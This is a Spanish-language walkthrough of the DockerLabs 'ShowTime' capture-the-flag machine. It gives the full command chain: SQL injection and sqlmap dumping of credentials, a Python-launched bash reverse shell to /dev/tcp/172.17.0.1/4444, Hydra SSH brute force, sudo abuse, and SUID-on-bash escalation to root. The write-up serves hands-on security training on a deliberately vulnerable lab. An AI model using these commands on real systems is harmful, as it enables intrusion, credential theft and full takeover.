ShowTime - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | maciiii___ |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Durante el escaneo, descubrimos que los siguientes puertos están activos:
22(SSH)80(HTTP) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p22,80 -sCV 172.17.0.2 -oG targeted
Exploración Web
Al navegar al puerto 80, descubrimos un sitio web con temática de casino, en el cual observamos un panel de login.
Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir- Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.17.0.2/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
No encontramos nada relevante en los directorios, por lo que decidimos investigar el panel de login en busca de posibles vulnerabilidades de inyección.
Inyeccion SQL
Realizamos una prueba de inyección SQL manual para verificar la vulnerabilidad:
' UNION ORDER BY 1 -- -
Al recibir un error de MySQL, confirmamos la vulnerabilidad en el portal de inicio de sesión, así que procedimos con sqlmap para automatizar la extracción de información.
Ahora ejecutaremos los siguiente comandos.
- Listar bases de datos:
sqlmap -u "http://172.17.0.2/login_page/index.php" --forms --batch --dbResultado:
[*] information_schema [*] mysql [*] performance_schema [*] sys [*] users - Listar tablas en la base de datos “users”:
sqlmap -u "http://172.17.0.2/login_page/index.php" --forms --batch -D users --tablesResultado:
Database: users [1 table] +----------+ | usuarios | +----------+ - Extraer usuarios y contraseñas:
sqlmap -u "http://172.17.0.2/login_page/index.php" --forms --batch -D users -T usuarios --dumpResultado:
Database: users Table: usuarios [3 entries] +----+----------------------+----------+ | id | password | username | +----+----------------------+----------+ | 1 | 123321123321 | lucas | | 2 | 123456123456 | santiago | | 3 | MiClaveEsInhackeable | joe | +----+----------------------+----------+
ReverseShell
Con el usuario joe, accedemos al sistema de login, donde encontramos una terminal de Python que nos permite ejecutar comandos. Aprovechamos esto para establecer una Reverse Shell.
Para ello, ejecutamos el siguiente código en la terminal de Python:
import os; os.system('/bin/bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"')
Simultáneamente, en nuestra máquina local, establecemos un listener usando Netcat:
nc -lvnp 4444
TTY ReverseShell
Iniciar una sesión de shell interactiva
En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:
script /dev/null -c bash
Suspender la shell
Una vez que el comando anterior está en ejecución, utilizamos
Control+Z
para suspender temporalmente nuestra shell.
Preparar nuestro terminal local:
Antes de volver a nuestra shell, configuramos nuestro terminal local:
stty raw -echo; fg
Resetear la configuración del terminal
Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:
reset
Configura el tipo de terminal:
xterm
export TERM=xterm
export SHELL=bash
Intrusion
Accedimos al sistema como www-data y en /tmp descubrimos un archivo oculto con posibles contraseñas. Lo procesamos en minúsculas y transferimos a nuestra máquina para realizar ataques de fuerza bruta usando Hydra.
Para convertir el archivo a minúsculas:
tr "A-Z" "a-z" < ./.hidden_text.txt > minusculas.txt
Fuerza Bruta
Ahora los vamos a pasar a nuestra maquina lo podeis hacerlo tanto copiarlo todo el contenido y pegandolo a un nuevo archivo o a traves de un servidor por http con python.
Probamos el usuario luciano con el diccionario generado:
hydra -l luciano -P minusculas.txt ssh://172.17.0.2 -t 64
Como no hay resultado probamos el usuario joe con el diccionario generado:
hydra -l joe -P minusculas.txt ssh://172.17.0.2 -t 64
Contraseña encontrada: chittychittybangbang
Intrusión con Joe
Nos conectamos vía SSH como joe:
ssh joe@172.17.0.2
Al ejecutar sudo -l, notamos que tiene permisos para ejecutar posh como luciano.Utilizando GTFOBins sabemos cómo explotar estos binarios.
Escalada de privilegios
sudo -u luciano /bin/posh
Al ejecutar sudo -l, notamos que tiene permisos para ejecutar bash como root a /home/luciano/script.sh.Utilizando GTFOBins sabemos cómo explotar estos binarios.
Confirmamos que luciano tiene permisos para modificar script.sh, así que procedemos a editarlo para elevar privilegios. En el sistema no disponemos de editores de texto como nano o vim, así que utilizamos el comando echo para modificar el archivo:
Utilizamos el comando echo para añadir las líneas al archivo script.sh que permitirán escalar a root:
echo " " > script.sh
echo '#!/bin/bash' > script.sh
echo 'chmod u+s /bin/bash' >> script.sh
Esto configura el script para asignar permisos SUID a /bin/bash, permitiéndonos ejecutar bash como root.
Ejecutamos el script como root para que asigne los permisos SUID:
sudo -u root /bin/bash /home/luciano/script.sh
Con permisos SUID aplicados a bash, iniciamos una sesión de bash con privilegios de root:
bash -p
Ahora tenemos acceso root en el sistema: